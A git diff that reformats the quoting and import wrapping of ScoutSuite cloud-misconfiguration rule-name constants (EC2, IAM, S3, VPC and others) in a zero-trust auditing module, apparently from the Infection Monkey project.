SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = "ec2-security-group-opens-TCP-port-to-all" + SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = "ec2-security-group-opens-UDP-port-to-all" + SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = "ec2-security-group-opens-RDP-port-to-all" + SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = "ec2-security-group-opens-SSH-port-to-all" + SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = "ec2-security-group-opens-MySQL-port-to-all" + SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = "ec2-security-group-opens-MsSQL-port-to-all" + SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = "ec2-security-group-opens-MongoDB-port-to-all" + SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = "ec2-security-group-opens-Oracle DB-port-to-all" + SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = "ec2-security-group-opens-PostgreSQL-port-to-all" + SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = "ec2-security-group-opens-NFS-port-to-all" + SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = "ec2-security-group-opens-SMTP-port-to-all" + SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = "ec2-security-group-opens-DNS-port-to-all" + SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = "ec2-security-group-opens-all-ports-to-self" + SECURITY_GROUP_OPENS_ALL_PORTS = "ec2-security-group-opens-all-ports" + SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = "ec2-security-group-opens-plaintext-port-FTP" + SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = "ec2-security-group-opens-plaintext-port-Telnet" + SECURITY_GROUP_OPENS_PORT_RANGE = "ec2-security-group-opens-port-range" + EC2_SECURITY_GROUP_WHITELISTS_AWS = "ec2-security-group-whitelists-aws" # Encryption - EBS_SNAPSHOT_NOT_ENCRYPTED = 'ec2-ebs-snapshot-not-encrypted' - EBS_VOLUME_NOT_ENCRYPTED = 'ec2-ebs-volume-not-encrypted' - EC2_INSTANCE_WITH_USER_DATA_SECRETS = 'ec2-instance-with-user-data-secrets' + EBS_SNAPSHOT_NOT_ENCRYPTED = "ec2-ebs-snapshot-not-encrypted" + EBS_VOLUME_NOT_ENCRYPTED = "ec2-ebs-volume-not-encrypted" + EC2_INSTANCE_WITH_USER_DATA_SECRETS = "ec2-instance-with-user-data-secrets" # Permissive policies - AMI_PUBLIC = 'ec2-ami-public' - EC2_DEFAULT_SECURITY_GROUP_IN_USE = 'ec2-default-security-group-in-use' - EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = 'ec2-default-security-group-with-rules' - EC2_EBS_SNAPSHOT_PUBLIC = 'ec2-ebs-snapshot-public' + AMI_PUBLIC = "ec2-ami-public" + EC2_DEFAULT_SECURITY_GROUP_IN_USE = "ec2-default-security-group-in-use" + EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = "ec2-default-security-group-with-rules" + EC2_EBS_SNAPSHOT_PUBLIC = "ec2-ebs-snapshot-public" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py index 0d1d4e5d97b..c4fad62ec5a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py @@ -1,10 +1,12 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class ELBRules(RuleNameEnum): # Logging - ELB_NO_ACCESS_LOGS = 'elb-no-access-logs' + ELB_NO_ACCESS_LOGS = "elb-no-access-logs" # Encryption - ELB_LISTENER_ALLOWING_CLEARTEXT = 'elb-listener-allowing-cleartext' - ELB_OLDER_SSL_POLICY = 'elb-older-ssl-policy' + ELB_LISTENER_ALLOWING_CLEARTEXT = "elb-listener-allowing-cleartext" + ELB_OLDER_SSL_POLICY = "elb-older-ssl-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py index f7a264cf386..90590a651b5 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py @@ -1,16 +1,18 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class ELBv2Rules(RuleNameEnum): # Encryption - ELBV2_LISTENER_ALLOWING_CLEARTEXT = 'elbv2-listener-allowing-cleartext' - ELBV2_OLDER_SSL_POLICY = 'elbv2-older-ssl-policy' + ELBV2_LISTENER_ALLOWING_CLEARTEXT = "elbv2-listener-allowing-cleartext" + ELBV2_OLDER_SSL_POLICY = "elbv2-older-ssl-policy" # Logging - ELBV2_NO_ACCESS_LOGS = 'elbv2-no-access-logs' + ELBV2_NO_ACCESS_LOGS = "elbv2-no-access-logs" # Data loss prevention - ELBV2_NO_DELETION_PROTECTION = 'elbv2-no-deletion-protection' + ELBV2_NO_DELETION_PROTECTION = "elbv2-no-deletion-protection" # Service security - ELBV2_HTTP_REQUEST_SMUGGLING = 'elbv2-http-request-smuggling' + ELBV2_HTTP_REQUEST_SMUGGLING = "elbv2-http-request-smuggling" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py index fef58e06638..8589446bb56 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py @@ -1,39 +1,41 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class IAMRules(RuleNameEnum): # Authentication/authorization - IAM_USER_NO_ACTIVE_KEY_ROTATION = 'iam-user-no-Active-key-rotation' - IAM_PASSWORD_POLICY_MINIMUM_LENGTH = 'iam-password-policy-minimum-length' - IAM_PASSWORD_POLICY_NO_EXPIRATION = 'iam-password-policy-no-expiration' - IAM_PASSWORD_POLICY_REUSE_ENABLED = 'iam-password-policy-reuse-enabled' - IAM_USER_WITH_PASSWORD_AND_KEY = 'iam-user-with-password-and-key' - IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = 'iam-assume-role-lacks-external-id-and-mfa' - IAM_USER_WITHOUT_MFA = 'iam-user-without-mfa' - IAM_ROOT_ACCOUNT_NO_MFA = 'iam-root-account-no-mfa' - IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = 'iam-root-account-with-active-keys' - IAM_USER_NO_INACTIVE_KEY_ROTATION = 'iam-user-no-Inactive-key-rotation' - IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = 'iam-user-with-multiple-access-keys' + IAM_USER_NO_ACTIVE_KEY_ROTATION = "iam-user-no-Active-key-rotation" + IAM_PASSWORD_POLICY_MINIMUM_LENGTH = "iam-password-policy-minimum-length" + IAM_PASSWORD_POLICY_NO_EXPIRATION = "iam-password-policy-no-expiration" + IAM_PASSWORD_POLICY_REUSE_ENABLED = "iam-password-policy-reuse-enabled" + IAM_USER_WITH_PASSWORD_AND_KEY = "iam-user-with-password-and-key" + IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = "iam-assume-role-lacks-external-id-and-mfa" + IAM_USER_WITHOUT_MFA = "iam-user-without-mfa" + IAM_ROOT_ACCOUNT_NO_MFA = "iam-root-account-no-mfa" + IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = "iam-root-account-with-active-keys" + IAM_USER_NO_INACTIVE_KEY_ROTATION = "iam-user-no-Inactive-key-rotation" + IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = "iam-user-with-multiple-access-keys" # Least privilege - IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = 'iam-assume-role-policy-allows-all' - IAM_EC2_ROLE_WITHOUT_INSTANCES = 'iam-ec2-role-without-instances' - IAM_GROUP_WITH_INLINE_POLICIES = 'iam-group-with-inline-policies' - IAM_GROUP_WITH_NO_USERS = 'iam-group-with-no-users' - IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-group-policy-allows-iam-PassRole' - IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-group-policy-allows-NotActions' - IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-group-policy-allows-sts-AssumeRole' - IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-role-policy-allows-iam-PassRole' - IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-role-policy-allows-NotActions' - IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-role-policy-allows-sts-AssumeRole' - IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-user-policy-allows-iam-PassRole' - IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-user-policy-allows-NotActions' - IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-user-policy-allows-sts-AssumeRole' - IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = 'iam-managed-policy-allows-iam-PassRole' - IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = 'iam-managed-policy-allows-NotActions' - IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-managed-policy-allows-sts-AssumeRole' - IAM_MANAGED_POLICY_NO_ATTACHMENTS = 'iam-managed-policy-no-attachments' - IAM_ROLE_WITH_INLINE_POLICIES = 'iam-role-with-inline-policies' - IAM_ROOT_ACCOUNT_USED_RECENTLY = 'iam-root-account-used-recently' - IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = 'iam-root-account-with-active-certs' - IAM_USER_WITH_INLINE_POLICIES = 'iam-user-with-inline-policies' + IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = "iam-assume-role-policy-allows-all" + IAM_EC2_ROLE_WITHOUT_INSTANCES = "iam-ec2-role-without-instances" + IAM_GROUP_WITH_INLINE_POLICIES = "iam-group-with-inline-policies" + IAM_GROUP_WITH_NO_USERS = "iam-group-with-no-users" + IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-group-policy-allows-iam-PassRole" + IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = "iam-inline-group-policy-allows-NotActions" + IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-group-policy-allows-sts-AssumeRole" + IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-role-policy-allows-iam-PassRole" + IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = "iam-inline-role-policy-allows-NotActions" + IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-role-policy-allows-sts-AssumeRole" + IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-user-policy-allows-iam-PassRole" + IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = "iam-inline-user-policy-allows-NotActions" + IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-user-policy-allows-sts-AssumeRole" + IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = "iam-managed-policy-allows-iam-PassRole" + IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = "iam-managed-policy-allows-NotActions" + IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-managed-policy-allows-sts-AssumeRole" + IAM_MANAGED_POLICY_NO_ATTACHMENTS = "iam-managed-policy-no-attachments" + IAM_ROLE_WITH_INLINE_POLICIES = "iam-role-with-inline-policies" + IAM_ROOT_ACCOUNT_USED_RECENTLY = "iam-root-account-used-recently" + IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = "iam-root-account-with-active-certs" + IAM_USER_WITH_INLINE_POLICIES = "iam-user-with-inline-policies" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py index b303c8573f5..db8e2602b96 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py @@ -1,19 +1,21 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class RDSRules(RuleNameEnum): # Encryption - RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = 'rds-instance-storage-not-encrypted' + RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = "rds-instance-storage-not-encrypted" # Data loss prevention - RDS_INSTANCE_BACKUP_DISABLED = 'rds-instance-backup-disabled' - RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = 'rds-instance-short-backup-retention-period' - RDS_INSTANCE_SINGLE_AZ = 'rds-instance-single-az' + RDS_INSTANCE_BACKUP_DISABLED = "rds-instance-backup-disabled" + RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = "rds-instance-short-backup-retention-period" + RDS_INSTANCE_SINGLE_AZ = "rds-instance-single-az" # Firewalls - RDS_SECURITY_GROUP_ALLOWS_ALL = 'rds-security-group-allows-all' - RDS_SNAPSHOT_PUBLIC = 'rds-snapshot-public' + RDS_SECURITY_GROUP_ALLOWS_ALL = "rds-security-group-allows-all" + RDS_SNAPSHOT_PUBLIC = "rds-snapshot-public" # Service security - RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = 'rds-instance-ca-certificate-deprecated' - RDS_INSTANCE_NO_MINOR_UPGRADE = 'rds-instance-no-minor-upgrade' + RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = "rds-instance-ca-certificate-deprecated" + RDS_INSTANCE_NO_MINOR_UPGRADE = "rds-instance-no-minor-upgrade" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py index 2538cf54dc4..20fa6337d60 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py @@ -1,19 +1,21 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class RedshiftRules(RuleNameEnum): # Encryption - REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = 'redshift-cluster-database-not-encrypted' - REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = 'redshift-parameter-group-ssl-not-required' + REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = "redshift-cluster-database-not-encrypted" + REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = "redshift-parameter-group-ssl-not-required" # Firewalls - REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = 'redshift-security-group-whitelists-all' + REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = "redshift-security-group-whitelists-all" # Restrictive Policies - REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = 'redshift-cluster-publicly-accessible' + REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = "redshift-cluster-publicly-accessible" # Logging - REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = 'redshift-parameter-group-logging-disabled' + REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = "redshift-parameter-group-logging-disabled" # Service security - REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = 'redshift-cluster-no-version-upgrade' + REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = "redshift-cluster-no-version-upgrade" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py index 4ba27a57ae4..a57d95f7c38 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py @@ -1,29 +1,31 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class S3Rules(RuleNameEnum): # Encryption - S3_BUCKET_ALLOWING_CLEARTEXT = 's3-bucket-allowing-cleartext' - S3_BUCKET_NO_DEFAULT_ENCRYPTION = 's3-bucket-no-default-encryption' + S3_BUCKET_ALLOWING_CLEARTEXT = "s3-bucket-allowing-cleartext" + S3_BUCKET_NO_DEFAULT_ENCRYPTION = "s3-bucket-no-default-encryption" # Data loss prevention - S3_BUCKET_NO_MFA_DELETE = 's3-bucket-no-mfa-delete' - S3_BUCKET_NO_VERSIONING = 's3-bucket-no-versioning' + S3_BUCKET_NO_MFA_DELETE = "s3-bucket-no-mfa-delete" + S3_BUCKET_NO_VERSIONING = "s3-bucket-no-versioning" # Logging - S3_BUCKET_NO_LOGGING = 's3-bucket-no-logging' + S3_BUCKET_NO_LOGGING = "s3-bucket-no-logging" # Permissive access rules - S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = 's3-bucket-AuthenticatedUsers-write_acp' - S3_BUCKET_AUTHENTICATEDUSERS_WRITE = 's3-bucket-AuthenticatedUsers-write' - S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = 's3-bucket-AuthenticatedUsers-read_acp' - S3_BUCKET_AUTHENTICATEDUSERS_READ = 's3-bucket-AuthenticatedUsers-read' - S3_BUCKET_ALLUSERS_WRITE_ACP = 's3-bucket-AllUsers-write_acp' - S3_BUCKET_ALLUSERS_WRITE = 's3-bucket-AllUsers-write' - S3_BUCKET_ALLUSERS_READ_ACP = 's3-bucket-AllUsers-read_acp' - S3_BUCKET_ALLUSERS_READ = 's3-bucket-AllUsers-read' - S3_BUCKET_WORLD_PUT_POLICY = 's3-bucket-world-Put-policy' - S3_BUCKET_WORLD_POLICY_STAR = 's3-bucket-world-policy-star' - S3_BUCKET_WORLD_LIST_POLICY = 's3-bucket-world-List-policy' - S3_BUCKET_WORLD_GET_POLICY = 's3-bucket-world-Get-policy' - S3_BUCKET_WORLD_DELETE_POLICY = 's3-bucket-world-Delete-policy' + S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = "s3-bucket-AuthenticatedUsers-write_acp" + S3_BUCKET_AUTHENTICATEDUSERS_WRITE = "s3-bucket-AuthenticatedUsers-write" + S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = "s3-bucket-AuthenticatedUsers-read_acp" + S3_BUCKET_AUTHENTICATEDUSERS_READ = "s3-bucket-AuthenticatedUsers-read" + S3_BUCKET_ALLUSERS_WRITE_ACP = "s3-bucket-AllUsers-write_acp" + S3_BUCKET_ALLUSERS_WRITE = "s3-bucket-AllUsers-write" + S3_BUCKET_ALLUSERS_READ_ACP = "s3-bucket-AllUsers-read_acp" + S3_BUCKET_ALLUSERS_READ = "s3-bucket-AllUsers-read" + S3_BUCKET_WORLD_PUT_POLICY = "s3-bucket-world-Put-policy" + S3_BUCKET_WORLD_POLICY_STAR = "s3-bucket-world-policy-star" + S3_BUCKET_WORLD_LIST_POLICY = "s3-bucket-world-List-policy" + S3_BUCKET_WORLD_GET_POLICY = "s3-bucket-world-Get-policy" + S3_BUCKET_WORLD_DELETE_POLICY = "s3-bucket-world-Delete-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py index 4cb875c6d91..d1894144d68 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py @@ -1,8 +1,10 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class SESRules(RuleNameEnum): # Permissive policies - SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = 'ses-identity-world-SendRawEmail-policy' - SES_IDENTITY_WORLD_SENDEMAIL_POLICY = 'ses-identity-world-SendEmail-policy' + SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = "ses-identity-world-SendRawEmail-policy" + SES_IDENTITY_WORLD_SENDEMAIL_POLICY = "ses-identity-world-SendEmail-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py index 9fb847114f4..47e49a0d1db 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py @@ -1,13 +1,15 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class SNSRules(RuleNameEnum): # Permissive policies - SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = 'sns-topic-world-Subscribe-policy' - SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = 'sns-topic-world-SetTopicAttributes-policy' - SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = 'sns-topic-world-RemovePermission-policy' - SNS_TOPIC_WORLD_RECEIVE_POLICY = 'sns-topic-world-Receive-policy' - SNS_TOPIC_WORLD_PUBLISH_POLICY = 'sns-topic-world-Publish-policy' - SNS_TOPIC_WORLD_DELETETOPIC_POLICY = 'sns-topic-world-DeleteTopic-policy' - SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = 'sns-topic-world-AddPermission-policy' + SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = "sns-topic-world-Subscribe-policy" + SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = "sns-topic-world-SetTopicAttributes-policy" + SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = "sns-topic-world-RemovePermission-policy" + SNS_TOPIC_WORLD_RECEIVE_POLICY = "sns-topic-world-Receive-policy" + SNS_TOPIC_WORLD_PUBLISH_POLICY = "sns-topic-world-Publish-policy" + SNS_TOPIC_WORLD_DELETETOPIC_POLICY = "sns-topic-world-DeleteTopic-policy" + SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = "sns-topic-world-AddPermission-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py index cc5c774e317..84190ceb37c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py @@ -1,13 +1,17 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class SQSRules(RuleNameEnum): # Permissive policies - SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = 'sqs-queue-world-SendMessage-policy' - SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = 'sqs-queue-world-ReceiveMessage-policy' - SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = 'sqs-queue-world-PurgeQueue-policy' - SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = 'sqs-queue-world-GetQueueUrl-policy' - SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = 'sqs-queue-world-GetQueueAttributes-policy' - SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = 'sqs-queue-world-DeleteMessage-policy' - SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = 'sqs-queue-world-ChangeMessageVisibility-policy' + SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = "sqs-queue-world-SendMessage-policy" + SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = "sqs-queue-world-ReceiveMessage-policy" + SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = "sqs-queue-world-PurgeQueue-policy" + SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = "sqs-queue-world-GetQueueUrl-policy" + SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = "sqs-queue-world-GetQueueAttributes-policy" + SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = "sqs-queue-world-DeleteMessage-policy" + SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = ( + "sqs-queue-world-ChangeMessageVisibility-policy" + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py index 4dcbd4f1af7..f4ecba532b0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py @@ -1,15 +1,17 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class VPCRules(RuleNameEnum): # Logging - SUBNET_WITHOUT_FLOW_LOG = 'vpc-subnet-without-flow-log' + SUBNET_WITHOUT_FLOW_LOG = "vpc-subnet-without-flow-log" # Firewalls - SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = 'vpc-subnet-with-allow-all-ingress-acls' - SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = 'vpc-subnet-with-allow-all-egress-acls' - NETWORK_ACL_NOT_USED = 'vpc-network-acl-not-used' - DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = 'vpc-default-network-acls-allow-all-ingress' - DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = 'vpc-default-network-acls-allow-all-egress' - CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = 'vpc-custom-network-acls-allow-all-ingress' - CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = 'vpc-custom-network-acls-allow-all-egress' + SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = "vpc-subnet-with-allow-all-ingress-acls" + SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = "vpc-subnet-with-allow-all-egress-acls" + NETWORK_ACL_NOT_USED = "vpc-network-acl-not-used" + DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-default-network-acls-allow-all-ingress" + DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-default-network-acls-allow-all-egress" + CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-custom-network-acls-allow-all-ingress" + CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-custom-network-acls-allow-all-egress" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py index 251e57324d9..ddab1cfd634 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py @@ -2,17 +2,29 @@ from typing import List from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import ( + CloudformationRules, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import ( + CloudTrailRules, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules 